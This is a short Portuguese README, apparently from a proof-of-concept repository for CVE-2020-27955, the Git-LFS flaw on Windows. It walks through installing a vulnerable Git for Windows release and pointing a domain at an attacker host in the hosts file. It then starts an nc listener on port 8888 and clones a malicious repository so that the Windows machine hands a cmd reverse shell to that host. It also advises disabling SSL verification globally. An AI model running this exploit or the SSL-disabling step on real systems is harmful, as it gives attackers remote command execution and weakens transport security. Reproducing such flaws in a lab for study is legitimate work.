z50913/cve-2020-27955
1、Baixe a versão vulnerável do Git-LFS na máquina Windows
Link para download: https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1
2、Na máquina Windows, instale e adicione as seguintes informações ao arquivo hosts. 10.1.1.5 é o host onde o nc escuta na porta 8888 (pode substituir conforme necessário)
10.1.1.5 abcall.xyz
3、No host 10.1.1.5, inicie o nc escutando na porta 8888
┌──(root㉿hostname)-[~]
└─# nc
Cmd line: -l -p 8888
4、No prompt de comando (cmd) da máquina Windows, digite
git clone https://github.com/z50913/CVE-2020-27955.git
5、O host 10.1.1.5 obtém o shell do cmd da máquina Windows
#Outros Se houver erro de certificado SSL, execute primeiro o seguinte comando para desativar a verificação SSL e, em seguida, faça o clone novamente
git config --global http.sslverify false
